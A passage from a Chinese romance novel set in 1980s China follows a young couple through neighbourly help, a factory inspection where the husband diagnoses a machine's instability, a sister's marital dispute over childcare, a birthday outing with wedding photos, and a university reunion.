家里孩子多,房间少,一到夜里就在客厅搭几块板子,铺上铺盖,一夜夜就是这么睡过来的,白天一大早就得起来,要不然来了客人看着不雅观。 没自己的房间,白天在家也不知道待哪儿,就在角落里缩着,或者帮着舒妈干点活。 所以后来她相亲时的条件就是男方要有房子。 舒英陪着晓丽把作业写完,又看着她上床后才回了自己家。 到家后,李固言打水给她洗漱,舒英感慨说:“晓丽挺懂事的,但也有点太懂事了。” 吴家俩孩子,又是一女一儿,儿子还那么调皮,分走了父母的大部分目光,相应的,女儿得到的关注就少了很多,时间一长,也就越发乖巧安静。 李固言对隔壁的俩孩子了解的也不多,也没评价,只道:“还是孩子嘛。” 舒英:“幸好孩子姥姥没生命危险,要不然晓丽肯定放心不下。”九点多的时候吴嫂子就打来电话,电话那头听着语气都松快多了,对着她连连感谢,谢谢他们帮忙照顾晓丽,说等回来请他俩吃饭。 “是啊,只要没生命危险就好,这样孩子也能安下心,等考完试正好去姥姥那边过个暑假。” 两个人闲聊着,说了几句别人家孩子的事,舒英看着他突然问:“那要是你有了孩子呢?” “我有了孩子?”李固言突然扭过头看向她,眼神瞥向她的腹部。 舒英瞧着他的样子就知道他在想什么,笑着抬手拍了他一下,“别瞎想,我没怀孕,就是这样问问。” “哦。”李固言又躺下 去,“要是我的孩子,就是疼他爱他教育他,不求他未来有多出色,只要健康快乐正直就行。” “那你喜欢男孩还是女孩?” “只要是你生的我都喜欢。” 舒英撇了撇嘴,不太满意这个回答,“你这话也太虚了,就像是在敷衍我一样。” 李固言笑了笑,“怎么会是敷衍,只要是我们的孩子,我怎么可能会不喜欢。” “那我要是生了女孩呢?”舒英仰着头看他,他下颌清晰精致没有一丝赘肉,他家就他一个儿子,李爸李妈虽然没明说,但他们是老观念,她清楚,他们是指着他传宗接代的。 李固言搂着她,两个人之间没什么缝隙,他明白她话里的意思,现在是独生政策,尤其限制他们这种有编制的,若是生了二胎,是会丢工作的,他道:“我说的是真的,不管男孩还是女孩,都是我的孩子,我不觉得只有生男孩才是传宗接代,女儿照样也是延续我们的血脉,而且你也是女孩子,我觉得女孩很好,我们以后要是有一个跟你似的闺女,我肯定高兴得不行。” 他继续道:“你别管爸妈他们怎么想,日子是我们两个之间过的,孩子也是我们俩生的,他们也不是难讲道理的人,我肯定不会让他们来扰你。” 舒英没说话,侧耳躺在他胸膛上,他心跳震耳有力。 李固言低头在她发间吻了吻,又说:“不管是男孩女孩,首先都是我们的孩子,都是人,就算我们以后生的是龙凤胎,我也不会重男轻女,厚此薄彼的。”他知道她最喜欢公平,因为她从来没有被公平对待过,她不想让自己的孩子跟自己一样不被偏爱。 舒英笑了笑,“你真是越说越过分了,还龙凤胎,一个孩子还不够闹腾的,你还想要俩。” 李固言胸腔震动,也笑着道:“我就这么随口一说,龙凤胎怀着太辛苦了,咱们之间要一个孩子就够了。” 他说了这么一堆,舒英的情绪放松了许多,又说起厂里有些员工生了闺女后为了要个儿子,连怀孕都要躲到乡下去,就算生了儿子也不敢抱回来养,也不敢上到自家户口,生了二胎的,交罚金还是其次,主要是会丢工作。 她叹道:“也不知道这么折腾,就为了儿子值不值得。” 李固言:“个人想法不同吧,现在大家还是认为养儿防老,而且越是穷的家庭越这样认为,不过以后国家会越来越富裕,这种想法肯定会越来越少的。” 舒英点点头:“一切都在往好的方向发展。” 两人天南海北的说了一通,直说到深夜里,外面都没什么声响了,才沉沉睡去。 六七天后吴嫂子三人就从东北回来了,小孩要上学,大人也要上班,再是不舍得,不想要回来,也得回来了。 晓丽见爸妈回来,心情明显的好了许多,晓明跟着去了一趟东北,还是老样子,老实不下来一分钟。 吴嫂子从娘家带了不少东西过来,各样都装了些拿到李家来。 舒英瞧着她笑呵呵的样子,也笑起来说:“妈妈没事吧?” “要说大事也没什么大事,但要说没事,毕竟年龄高了,摔一跤不是说笑的,反正就是要静养着嘛,这段时间一直让她在病床上躺着,不叫下地,可把她给气坏了。”吴嫂子拣着说了些趣事儿。 舒英也跟笑:“老小孩老小孩嘛,不过经此一事,可不能再大意了。” 吴嫂子叹了口气,面色发苦,“谁说不是呢,在这之前虽然知道年龄不小了,但能走能动的,一直没当回事儿,这下子是真把我们兄妹几个吓坏了。这老娘在的时候吧,我们自己年纪再涨,也还觉得自己心里有个依靠,老娘这要一下子丢下我们走了,那可真是要哭死了。” 舒英安慰了几句后转了话题,交代了一下晓丽这段时间的情况:“晓丽这几天我们帮你看着呢,孩子都挺好的,一放学就回来,也不乱跑,学习也是努力得很,我这以前不知道,这几天相处下来才知道,晓丽这学习这么辛苦啊,我看晚上不到十一点,屋里的灯都关不了。” 吴嫂子提起这个闺女,脸上总算是又带了笑,又是心疼又是自豪,“她从小就没让我和她爸操过心,也不像晓明似的得打着学,自己肯学得很,就是太累,我们当爸妈的瞧着都觉得累。” “我这看着晓丽以后肯定有出息的,一中肯定能考上,你跟吴哥老了就等着享闺女的福吧。” 闲侃了几句后,吴嫂子道:“这几天真是麻烦你跟李工了,晓丽都跟我说了,天天变着花样地做着给她吃。” “嫂子这是哪里话,咱这邻里邻居地住着,就隔了这么一道墙,”舒英伸手指了指那边的矮墙,“而且就算没有晓丽,我们自己也是要吃饭的,不过就是添了一双筷子的事儿,晓丽饭量又不大,能怎么麻烦?” 吴嫂子笑着,说:“行,咱这邻里邻居的,你们这要是有什么事要帮忙可千万别跟我们客气。今晚你跟,李工就别烧饭了,咱去下馆子,我都让老吴订好了。” 舒英笑着打趣了几句:“你们这速度可真快,这才回来就连馆子都订好了。” 第26章 第 26 章 调节 李固言拿着面板进一车间, 巡视了一会儿后看到窗边的一台小机床,他盯着看了一会儿后皱了皱眉问:“这台机床谁设计的?” 旁边正在干活的小王听到抬头回道:“哦,陆工弄的, 昨天才弄出来的。” 李固言闻言点点头, 没再说什么,拿着面板又去观察其他东西,巡视完在面板上写写画画就回了办公室。 刚到办公室就听丁朋义道:“李工刚才你不在, 陈主任说上面临时通知,明天有市领导来检查,让咱们把东西都准备好,车间也打扫干净。” “行。”李固言点点头, 示意自己知道了。 现在天气已经开始热起来了,中午正是日头最晒的时候,舒英打着伞扇着扇子往家走。 天一热就没什么胃口,回到家先从冰箱里拿了根冰棒吃, 冰棒是前两天刚买的, 买了一箱子放在冰箱里,两个人一天吃一个, 也不吃多。 李固言回来时, 舒英正吹着风扇吃冰棒呢,他看到这一幕笑了笑问:“今天中午想吃什么?” 舒英摇了摇头,“什么都不想吃。” “不想吃也得吃点,下午还得上班呢。”李固言用手帕擦了擦她额角的汗, 说,“我做凉面了?” 凉面就是煮熟的面条过冷水,再浇上浇头,做起来也简单。 舒英点点头, 凉面也行,她现在觉得胸口燥得很,不想吃热的东西。 李固言瞧着她,有些心疼的在她脸上摸了下,总觉得她这两天好像瘦了些。 两个人中午刚吃完饭,就听见外面喊让舒英去接电话。 李固言起身从门后拿了把伞说:“我跟你一起去。” 路上迎着让人眩晕的日头,舒英眯着眼扇了扇扇子。 李固言道:“家里要能拉线装个电话就好了,也省得还要出来接。” “初装费太贵了,要五千块呢,有这钱不如先换台彩电了。” 李固言笑着承诺说:“彩电会有的,电话也会有的。” 舒英也看着他笑起来。 来电的是舒妈,电话那头唉声叹气的,让她周日休息回家去一趟。 电话里说不清楚,只简单描述了两句,说舒秀珍产假休完了,要开始上班了,就小孩没人带的事儿跟严磊吵了一架,现在带着孩子回娘家住着呢。 李固言在旁边听着,挂了电话后道:“我周日跟你一块儿回去吧,看看是什么情况,有没有什么咱们能上忙的地方。” “也行。” 第二天机械厂门口就拉了横幅,写着“欢迎领导莅临”几个大字,厂里的领导班子都站在门口两边迎接着,李固言也在其中, 不过位置靠后。 过了没一会儿,厂门口就停下几辆黑色的小轿车,从上面下来一行人,厂长副厂长等人立马带着人迎上去,笑着打招呼。 李固言看着那群人,对其中一个年轻人微笑着点了点头,这人是他大学同班同学,叫越舟,一毕业就进了机关单位,现在是书记的秘书。 领导们一阵寒暄后,就开始往厂里走,今天的主角都走在前头,厂长等人对着领导们边走边介绍,越舟也西装革履地站在书记身后,李固言和办公室里的同事们不远不近地坠在他们身后跟着,也不出声。 一行人先是在大会议室里,厂领导介绍了厂里的情况,一些生产、销售,以及后续的一些规划,李固言等人也跟着听了一个多小时。 之后就是下车间了,众人都戴上安全头盔,到车间里近距离观看生产情况。 为了迎接领导们的到来,昨天下班后工人们打扫了好几遍,各个角落都没放过,直擦得一尘不染后才下班。 书记看着车间情况点点头笑道:“机械厂是咱们安城的重工业厂,可得好好经营啊。” 厂长立马笑着接腔:“领导说的是,我们私下也这样说,咱们厂的效益关乎着许多户人家口粮呢,得让工人们过上好日子啊。” 一时宾主尽欢,一行人又往前走了走,越舟盯着窗边的一台小机床,突然“咦”了一声。 书记看着他问道,“怎么了?”又向众人介绍他这位秘书说,“这是我的秘书,是从咱们省工业大学毕业的高材生,也学的机械工程。” 越舟笑了笑,说:“这台机床的稳定性似乎有些差,不过我这自从毕了业后就没再碰过这些东西,许是我看错了。但也巧,我一个同学就是咱们厂的工程师。” 厂长说:“说的是李工吧?”他笑呵呵的,招手让李固言上前,“李工可是我们厂的人才,当年一从省工业毕业就来了咱们厂了。”说完隐晦地看了一眼那台机床,这台机床设计的很不好,在场的懂行的人应该都能看出来,怎么能把这种东西放在这么明显的地方?他几不可察地陇了下眉头,扫了一眼旁边的陈主任,陈主任顿时冷汗直冒。 在一旁陪同的陆工也顿时抖了一下身子,站得更板正了些。 越舟对着书记建议道:“李固言当年在我们班成绩一直都是第一,不如让他跟我们讲一下这台机床?” 书记点点头笑,对李固言道:“我是个外行人,那麻烦李工帮我讲解一下?” 李固言微微笑了笑,看了眼厂长等人,“那我就班门弄斧了。” “这台机床在设计上不算出错,只是稳定性上有些遗漏,稳定性不太好,就会产生一些共振现象,要想要解决这种现象,可以尝试在机床结构中加入阻尼材料或者装置,又或者增加机床和工件的刚性。”他不光指出了这台机床身上存在的问题,又提出了解决方法,在场众人无不侧目。 “江山代有才人出,这么年轻的人才可得好好培养啊。”书记脸上笑意不散,对着厂长夸道。 丁朋义和小方想起他前段时间受的委屈,也不由得为他感到高兴,这得了书记的夸奖,以后在厂里的也能更好过些。 在场众人中唯一不高兴的恐怕就只有陆工了,他眼神有些怨毒地看了一眼李固言,觉得他就喜欢在这种场合上出风头。 陆副厂长几乎是在看到他表情的一瞬间就知道他在想什么,皱着眉瞪了他一眼,示意他收敛些,这小兔崽子净给他惹祸,他现在也是气得不行,但碍着这么多人的面又不能发作,只能强忍着。 当初就不应该让他顶李固言的位! 小机床这事儿也不过就是一个插曲,看完过后,众人就又接着走下面的流程。 市领导们在机械厂待了大半天,被厂长留着在食堂用了午饭后才回去。 期间,越舟走到李固言旁边跟他闲谈了几句,谈到大学时候,越舟道:“过几天咱们班要举行同学聚会,到时候别忘了来参加。” “行,回头你把时间地点告诉我。” 市领导在时,机械厂内自然是一片和谐,等领导走后,就要开始秋后算账了。 陆工等人走了立马就来大办公室找李固言,直冲到他面前,很是恼怒:“你故意的是吧?” “我不明白你在说什么?”李固言表情未变,淡淡看了他一眼。 陆工又被他这一眼弄得火大,丁朋义见苗头不对,连忙蹭到这边,开玩笑似的说:“陆工,你那有健胃消食片不?今天中午吃得太好了,一不小心就给吃撑了。” 陆工没好气地瞥他一眼:“吃撑了吃泻药去!” 他这话实在难听,丁朋义再圆滑也没忍住拉了脸。 好在这时陈主任也过来了,他看了办公室的众人一圈,把陆工叫走:“陆德,跟我出来一下。”临走前望了李固言一眼,瞧他整天不声不响的,原来人家心中早有成算了。 今天这事,好在市领导没计较,他们作为安城的老牌机械厂,怎么能犯这么低级的错误?还叫人给一眼看出来了! 这个陆德!天天就仗着陆副厂长到处惹事!陈主任斜了他一眼,带着人往厂长办公室走,这下好了,惹到市领导面前去了,他的厂长叔叔也罩不了他了。 陆德脸色发灰的跟着陈主任走,他也知道自己这次批评是少不了了,他咬了咬后槽牙,要说今天这事跟李固言没一点关系,他是打死都不信,就算不是他设计,就凭他当众让他出糗这事儿,他就饶不了他。 小机床设计有问题,陆德不在自己身上反思,反将所有错误都推到别人身上,记恨起别人了,而且这个“别人”又精准定位到李固言身上,说起来也是没道理。 大办公室里,丁朋义和小方眼瞧着陆德被陈主任揪走,脸上都有些快意。 小方嘀咕着:“这下总不能还包庇他吧?也总该让他为自己的错误买单了吧?”以往陆工可没少让他们给背锅,仗着陆副厂长,啥毛病都往他们身上推,背锅都背成蜗牛了要。 丁朋义屈指在他头上敲了一下,转身回到自己的位置坐好:“也别高兴这么早,他顶多也就是被骂几句,以后该是陆副主任还是陆副主任。” 李固言没去管别人怎么想怎么说,他安静的坐在办公桌前,手里拿着铅笔,专注地在笔记本上写着工作记录。 周日这天,瞧着有些阴沉,像是要下雨一般,相应的,空气中也带了点清凉的风,没前几天那么热了。 今天两人要去舒家瞧瞧,舒秀珍从周五回的娘家,到今天也第三天了,也不知道怎么样了。 李固言出门前拿了把伞装进包里,接着就去乘公交车。 到舒家的时候也才早上十点多,站在门口就听到里面有小孩哭声。 两人一进去就瞧舒秀珍板着脸,像是正在生气,贝贝被舒妈抱在怀里“哦哦”地摇着哄着。 边哄孩子还要边劝她:“你现在可不能生气,气狠了要回奶的,到时候贝贝都没东西吃了。” 舒英见到这情况也忍不住皱了皱眉,她问:“姐夫呢?这几天姐夫都没来吗?” 舒秀珍忍不住哭出来:“我要跟他离婚!” 舒英给她递了手帕又看向舒妈,上回电话里舒妈也没说清楚到底是怎么回事。 舒妈苦着脸摇了摇头,又劝舒秀珍:“秀珍,别哭了,英儿这不是来了吗?你有什么委屈,你们姐妹俩聊聊,贝贝还这么小,别动不动就把离婚挂在口头上。”她还是老思想,觉得女人结了婚,哪能随意就离了呢。 舒英只好又问舒秀珍:“姐,到底是怎么回事啊?” 李固言听着她们姐俩说话,老实地坐在一旁,还帮着岳母哄了哄贝贝。 舒秀珍捻了捻眼角的眼泪,忍不住道:“你姐夫就是个没心的人。” 舒英皱皱眉头,她这个姐夫,她也不知道说什么好,说好听点是温吞,难听了就是窝囊,但窝囊也就窝囊了,偏偏还有点大男子主义。平常没遇上什么事儿的时候,他们两口子之间倒是过得挺好,什么都依着舒秀珍,舒秀珍骂他几句都憋不出一个屁来,但一遇上大事了,又固执得不行,觉得妻子就应该听丈夫 的。 舒秀珍抱怨着自己那对公婆:“他爸妈也是,偏心得不行,就喜欢大儿子家生的孙子,对我们贝贝就天天敷衍,我那个婆婆最会面子工程,我坐月子的时候来我们家住了一个月,说到处跟人说是照顾我坐月子,说她多辛苦,多疼儿媳妇,其实哪要她做什么了,孩子都是我带的,尿布是严磊洗的,她就得个美名。” 原本还在客厅的王梅听到这,暗暗翻了个白眼,觉得着大姑子也就是个只许州官放火,不许百姓点灯的货,她怎么不说舒妈净偏心她呢?人严家偏心大儿子她就不乐意了,真是没见过这样的,听见她说话就烦,王梅抱着肚子扭着头回了房间。 舒秀珍看着她的背影也忍不住撇了撇嘴,舒英看着两人这一出也有些无奈,嫂子跟她姐这两个人这几年恐怕关系都是好不了了的。 舒秀珍哼了一声后继续跟舒英道:“我这不是产假要结束了吗?那我们家现在就我跟严磊,都去上班了,哪有人带贝贝?我就跟他妈说让她白天的时候过来帮我们看一下,反正她现在也退休了,又不用去上班,你知道他妈怎么说的吗?” 舒英看着她,示意她往下说。 舒秀珍冷笑一声接着道:“他妈话说得比唱的都好听,说什么啊,你辛苦了,要带一个小孩真是不容易,反正什么好话都说了,就是不提答应帮我们看孩子。这还不是最过分的,她后来还去找她儿子抱怨,说自己辛苦了一辈子,大儿子这边的孙子正是离不开人的时候,退休了也不能好好休息。惹得她儿子心疼得不行,回来就跟我大吵一架,说我就知道麻烦他妈!说我怎么非得上这个班不可,这两年不能现在家带贝贝吗?我这气不过,就带着贝贝回来了。要不是念着贝贝还小,我是真的跟他离婚的心都有了。” 舒英听完也深吸了一口气,觉得自己脑仁疼,这个姐夫! 李固言觑着她神色给倒了杯温水递过去,低声说:“要不我去找姐夫一趟吧,听听他怎么想的,夫妻俩一直这么别着也不是办法。”他声音轻,没让舒秀珍听见,以她现在的怒气,要是让她听到,肯定不会同意他去找严磊。 舒英转过头看向他,轻轻抬了抬下巴,示意他现在就去。 李固言得了她的首肯,笑着站起身说:“妈,姐,我厂里还有点事,我先回去了,晚点再过来。” 舒妈抱着贝贝连忙应声:“那固言你赶紧去吧,别耽误了工作。” 李固言走到门口换鞋,出门前看了眼舒英,微微颔首,出了门就直奔严磊住处而去。 舒英还在劝着舒秀珍,“现在也不是哭的时候,马上休假就结束了,还是得好好想想贝贝到时候怎么办,你和姐夫都要上班,这么小的一个孩子也不能单独放在家里啊。” “唉。”舒妈叹了口气,她倒是想去帮着带外孙女,但王梅这肚子也大了,这一胎又保的那么艰难,上回就闹成了那样,这回再去不知道又要怎么闹,但除了她,家里其他人又都要上班。 舒英看着两人为难的样子说:“要不请保姆呢?就白天请个保姆看一下,中午晚上下了班就自己带。” “也不是没想过要请保姆,但请保姆也要不少钱,而且你说请谁呢?这请谁能放得下心啊,贝贝还这么小,连话都不会说,万一保姆不是个好的,我心得疼死。”舒秀珍看向已经睡熟了的贝贝,眼里又是纠结又是难过。 舒英看着她的眼神,也觉得有些伤心,没生孩子前她是多自在,一天天的过得跟孔雀似的,又骄傲又漂亮,现在呢,因为生孩子,身材有些走样,脸上也都是疲惫。 她也不是说生孩子不好,她知道舒秀珍因为有了贝贝一直感到很幸福,可是在这之外,她不自由也不快乐。 这边几人还在商量解决办法的时候,那边李固言已经找到了严磊。 今天周日,也不上班,严磊哪儿也没去就在自己家待着呢。 李固言一进门就暗暗端量着他,见他衣着干净,家里也不杂乱,只是脸上表情有些灰败和不自在。 这对连襟之间其实也没怎么交流过,彼此都比较陌生,严磊甚至对他的到来感到惊讶。 李固言也没有要跟他叙感情的意思,开门见山问:“姐这几天一直都住在娘家,你知道吗?” “知道。”严磊点头,瞬间明白他的来意。 “我来也没别的意思,就是想来问问你的想法,你到底是什么意思?”李固言看着他,眼神锋利。 严磊苦笑一声:“什么意思呢,秀珍想让我妈来看贝贝,但我妈年纪也大了,之前过来照顾她月子的时候就一直说身子不舒服,我这做儿子的没让她想着清福就算了,哪还好意思再让她这么辛苦?” “姐夫,你心疼伯母,这没错,那毕竟是你亲妈,也是从小把你拉扯大的,可姐给你生了贝贝,这时候也是最辛苦难受的时候。”李固言道,“你不想让你妈来伺候人这没错,但你这做法不对啊,姐这几天带着贝贝一直住在妈家,你不说去看一下问一声,就闷在自己家里面,你说你这样姐怎么可能不寒心?” 严磊低着头不说话,李固言继续说:“我刚才就是从姐那里过来的,来的时候姐还在哭呢,你说她现在还正是给孩子喂奶的时候呢,你也真忍心放任她哭这几天都不闻不问,你也是够狠心的。” 严磊这才抬起头,神色有些仓惶,“她现在怎么样了?” “怎么样了,我说的也不算,你是她丈夫,你就应该自己去看一看,也想一想这个事到底怎么解决,而不是就缩在这当作什么都没发生。”李固言把自己的看法说出来,说实话他心里是有点看不上这个姐夫的,觉得他没担当,自己的妻女受了委屈他还能这么心安理得地过着自己的小日子,也是一神人了。 他这两地来回跑,到现在连口饭都没吃,就又把严磊给带到了舒家。 舒秀珍一看见严磊就眼睛不是眼睛,鼻子不是鼻子的,严磊也自知理亏,凑上去曲意奉承。 舒家两兄弟也看不上这个妹夫/姐夫,都冷着脸不搭理他。 舒英问:“姐夫,你想好现在这个事到底要怎么解决了吗?贝贝现在是肯定离不了人的,到时候等姐上班了找谁来看贝贝?” 严磊沉默了一下,喉咙有些干涩说:“请保姆吧。”虽然他也觉得请保姆也不是一个好办法,但却是目前为止唯一的方法了,毕竟舒秀珍想回去上班,他也不能辞职在家带孩子啊。 舒英乜了他一眼,抿了下唇说:“那请保姆的钱,伯父伯母是不是也应该出一点,你大哥家的儿子可是伯母亲手带大的,总不能因为我们贝贝是女孩子就厚此薄彼吧。” “……好,我回去说。”严磊低了低头,表情苦涩。 舒秀珍看着他,面无表情地流下一行泪。 第27章 第 27 章 喝醉 舒秀珍的事情处理完后, 也没多久就要到舒英的生日了,她是五月初十的生,今年正好在星期六。 两个人提前商量着下午早点下班去下馆子庆生, 吃完饭后还可以去看个电影。 他们去的是一家西餐厅, 在安城口碑不错。 李固言一进去就打量着店内的装饰布置,总觉得没有他们第一次见面时的那家餐厅好,只可惜那家餐厅不开了。 他抬头看了舒英一眼, 她正专注地浏览菜单,精致的眉眼动了动,似有察觉般回望过来,对他展颜一笑。 李固言怔了怔, 也笑了,问:“想好吃什么了吗?” “我再看看。” “好。” 李固言回味着她刚刚的笑,三年过去,她好像没有任何变化, 仍如第一次见一样让人惊艳, 他笑着摇摇头,长指在菜单上点了点。 吃完饭从餐厅出来, 天已经有点黑了, 路上微风习习,吹乱人发丝,李固言牵着她的手,只觉心中被填得满满的。 再往前走就是五一广场的轮滑场了, 舒英想起去年冬天的时候,她笑了笑,指着前方促狭地问:“你还记得那儿吗?” 李固言顺着她手指的方向看过去,大大的轮滑场招牌挂在楼墙上, 他笑得有些无奈:“你觉得呢?” 舒英扬着唇睨了他一眼,没回答这个问题,恍惚间觉得时间过得好像也挺快,好像不久前他们俩还互相不想搭理对方呢,现在就如胶似漆了。 电影院也不远,没走几步就到了,李固言抱着买来的爆米花牵着她进场。 他们路上墨迹了会儿,来的有点迟,电影已经开场了,室内漆黑,只能凭借着荧屏微弱的光来找座位,他怕她绊倒,在前面每走一步都要回头看她一眼。 这是一部情感片,电影里的主角生于动荡年代,他们在战火中相识相知相爱,最后因为战争阴阳两隔。 影片对战争描述不多,更多的镜头放在了男女主角之间细腻的情感变化上,又通过情感变化来突出战火的无情。 来看这部影片的大多是成双的情侣,一时之间影院里啜泣声不断。 舒英也没忍住流了眼泪,她用手帕压着眼角,听到旁边的动静扭头去看,正瞧见李固言脸上一片水渍,哭得比她还伤心。 舒英被这一眼震惊,一时有些忘了要干什么,反应过来后连忙将没用过的手帕塞到他手里,看着他擦眼泪的时候没憋住笑出了声音,声音不大,正好被他听见。 李固言也有些不好意思,背过身去将眼泪擦干净。 他这动作更可爱了,舒英咬着唇,好险才没让自己又笑出来,这时她的注意力已经从荧幕上全部移到了身边人身上。 等他调整好情绪后,舒英伸手摸过去,摸到他的大腿处,塞到他的手心下面,反手交握住。 李固言空着的手摸了摸鼻头,做贼似的瞥了她一眼,男子汉大丈夫,因为一部电影哭得稀里哗啦的,说出来的确是让人脸红的。 舒英知道他的小动作,眼神直直盯着前方,强忍着没转头看他,这还是她第一次见到他掉眼泪,以前他心里压了那么多事都没哭过,没想到一部电影让他哭成这样。 她回想着刚才那一幕,荧屏上的光正好打在他脸上,水光闪闪,眼尾鼻头都泛着红,又因为被她看见一时有些羞赧,回望过来的那一眼真让人头皮发麻。 舒英与他交叉的那只手动了动,指腹在他手背处摩梭了一下,触感细腻光滑。 电影看完,两人从影院里出来,李固言还有些不自在,不知道要说些什么,见她也沉默着又不自禁地想要找话题,他轻咳一声,表情还是有些扭捏:“你觉得电影里他们拍的婚纱照好看吗?” “啊?”舒英闻言看了他一眼,后半场她脑子里一直想着他哭的样子,哪还有心思注意那女主拍的什么婚纱照,“好看,好看……” 李固言没注意她的底气不足,提议道:“明天休息,我们也去拍一套婚纱照吧?我们当年结婚结得仓促,还没拍过婚纱照呢。”他越说越觉得可行,眼睛亮晶晶地盯着她。 他刚刚哭过一场,眼眸被泪水洗过,路灯一闪,像是碎星闪烁,又像是月下的湖面,微漪着泛着波光,舒英不自觉心动,只觉得他现在就算是想要天上的月亮,她都想摘给他,一个婚纱照而已,有什么不能答应的。 她点头道:“好。” 李固言嘴角绽出笑,情绪外露,也不知道怎么就那么高兴,牵着她的手晃了晃。 舒英被他勾的心痒,第二天周日,直睡到日上三竿,两人才慵懒起身,到摄像馆去。 摄像馆各种婚纱照都有,李固言替她选了一套粉色缎面的,电影里的女主角就穿的这种的,他看得时候觉得很好看,心里也在想舒英穿起来会是什么样子的,他私心里觉得肯定比电影里好看。 舒英也还没穿过婚纱,当年结婚时新娘流行穿红色西装套裙,那件衣服还是李固言买的,到现在都还在柜子里收着。 她看着他选的婚纱,也觉得好看,跟着工作人员到里间去试,这条婚纱很膨,没有金属裙撑,全靠层层叠叠的纱撑起来,肩膀上也是很大的泡泡袖,上面缝了用同布料叠成的花朵,胸口被蕾丝包裹,繁复的蕾丝上穿了珍珠。 只是试了一下衣服是否合身,还没有化妆做造型,帮她试衣服的工作人员看到她穿着这件婚纱也忍不住夸赞:“你穿的好好看啊,跟电影里的明星似的。” 舒英笑了笑,拽着宽大裙摆出去。李固言正老实在外等着,也没看书打发时间,眼睛一直落在试衣间的门上。 门被拉开,李固言瞬间起身,眼神也亮了亮,走到她面前说:“很好看。” 舒英笑着斜了他一眼,没说话,跟着工作人员去化妆。 她眼神勾人,还带着昨夜荒唐时的娇媚,李固言抿着唇笑,像个小随从似的跟在她旁边。 化妆师看着并肩坐着的一对佳人,也忍不住感慨:“我这给那么多人画过妆,还是第一次看到像你们这样漂亮的人,就算是明星来了都不一定比得过你们。” 这话听得多了,舒英都觉得有些心虚,她害羞笑着谦虚道:“没有没有。” 化妆镜这边光打得足,她眼底潋滟着水光,一举一动都十分可人,李固言一点不收敛地答应着化妆师的话,表情认真:“我也觉得她最漂亮。” 这话一出,周围的人都忍不住笑起来,笑中全是善意,具都欣赏地看着这两对壁人。 舒英刹那间瞪大眼,脸上泛起红晕,当着众人的面不好说什么,偷偷伸手拧了一下他腰间软肉,美眸微微瞪着她,更显娇俏。 照片拍完后,摄影师道:“照片要十天后才能洗出来。” “没事,不急。” “这份照片我能不能留一份?”摄影师说完这句话似是怕有歧义,连忙补了一句,“这组照片真的拍的特别好,我们想留一份挂在玻璃展示架上,当然,你们要是同意的话,这组照片我们免费送,不收钱。” “不了。”两人异口同声拒绝。 舒英是不喜欢招摇,感觉把自己的照片挂在人家摄影馆给来往的客人看很奇怪,李固言就是单纯地占有欲,不舍得将她的照片展出,她这么优秀,谁知道照片会不会被暗恋她的人看到,一想到这个可能性,他就有些气短,一个严建中就够他受的了,他可不想再来一打。 摄影师瞧着像是还有些不死心,还想再劝一劝,这组照片真的拍得特别好,不夸张地说真是他从业以来拍过的最好的一份了,如果能在摄影馆里展出,肯定会吸引来更多的客户的。 但奈何两人都不太同意,一直笑着婉拒,他也只好惋惜地收起相机,将两位客人送出店里,都走出去老远了还在看着他们的背影,苦着一张脸,像是失去了什么大宝藏。 这组婚纱照从早到晚拍了好几个小时,两人从店里出来的时候正是可以吃晚饭的时候,晚霞悬在天边,粉蓝色的渐变十分惹眼。 几个小时折腾下来,两人都饿了,也没选择下馆子,就在街边小摊吃了起来,一人捧着一个烧饼夹菜,倒也吃的开心得很。 李固言取其食指,用关节蹭掉她脸颊上的芝麻,说:“下周我们大学同班同学聚会,你要不要跟我一起去?” 舒英想都没想就回道:“不想去。”他同学聚会,都是她不认识的人,去了也不知道说什么做什么,她不太想去蹭这个热闹。 李固言垂下眼皮,平直浓郁的长睫掩盖住眼底的变化,他心中有股微微的失落感,他邀请她同去,其实也是有自己的小心思在的,两个人现在不说达到浓情蜜意,但其实也差不多了,他就很想把她带到自己的同学朋友面前,昭告天下,让大家都知道他有这么美好、优秀的一位妻子。 有一种流浪狗突然被一户很好 的人家收养后,恨不得让以前所有一同流浪过的狗朋友都知道自己的主人是全天下最好! 舒英没察觉到他的情绪变化,将手里的烧饼吃完后,用手帕擦了擦手,拽了拽他的袖子,指着不远处的一个小摊说:“我还想吃那个。” 李固言收敛起自己的小想法,跑过去给她将小吃买过来。 到了同学聚会那天,李固言穿戴整齐地出门,来到定好的大饭店里。 这还是他们自84年毕业之后的第一次聚会。 大饭店富丽堂皇,他们班包下了店里最大的一间包厢,包厢里放了四张大圆桌,李固言到的时候同学们已经来了大半了。 李固言进来的刹那间,包厢里的时间好像静止了几秒,众人都扭头看向他,接着便笑起来上前来打招呼。 大学期间,李固言相貌出众,成绩也优异,可以说是系里的风云人物了,只不过性格有些沉默。 毕业之后,同学们都各有去向,有的进了机关单位,有的进了国营大厂,也有的继续求学,更有的上了几年班后抓住机遇下海经商,如今也算是富甲一方了。 越舟是他们班班长,也是这场同学聚会的组织者,他连忙拉着李固言到位置上坐下。 人来的差不多后,众人都各自找位置坐下。 梁听芹拉着朋友坐到李固言旁边。 李固言微笑着对她点了点头,她当年是他们班的学习委员,两人当年还算有些交集。 梁听芹脸上瞬间绽出笑容,与他聊起现状,她试探问道:“我听说,你前几年结婚了?” “是。”李固言点点头,提到舒英,眼神不自觉柔和下来。 梁听芹听到肯定回答,强忍心中失落,脸上还挂着勉强的笑说:“结婚怎么也不邀请我们老同学?”她大学时一直暗恋他,但他们那会儿上学管理是很严格的,学校内不容许谈恋爱,她就一直把这心思藏在心底深处。 他们俩坐在这边聊天的模样被另一个人尽收眼底,这人叫涂伟博,当年跟李固言还是同一个寝室的舍友。 他当年毕业也是被分配到国营厂的,后来下海经商去了,现在在事业上也算小有成就,刚刚一直端着酒跟班里的同学吹牛呢。 涂伟博看了两人一眼,走过来拍了拍李固言的肩膀,笑道:“老李,你这现在在哪高就呢?你别跟我说还在那个机械厂熬着呢。”边说还边打量着旁边梁听芹的表情,他这话明着贬低李固言,实际上是想吹嘘自己现在有多厉害。 李固言将他放在自己肩膀上的手拂掉,脸上表情不变,回道:“那真是让你失望了,我现在还在机械厂。” 涂伟博听到这话高兴得眉毛都要飞起来了,当年上学那会儿他就不喜欢他,整天傲的不行,也不知道傲个什么劲,现在毕了业见真章了吧,要说厉害,还得是他涂伟博才行! 梁听芹看了涂伟博一眼皱了皱眉,有些看不惯地说:“涂同学,你怎么能这样说话?” 涂伟博表情有一瞬间的龟裂,又忍着不爽说:“学习委员,你这话就不对了,我这不是在关心同学吗?” 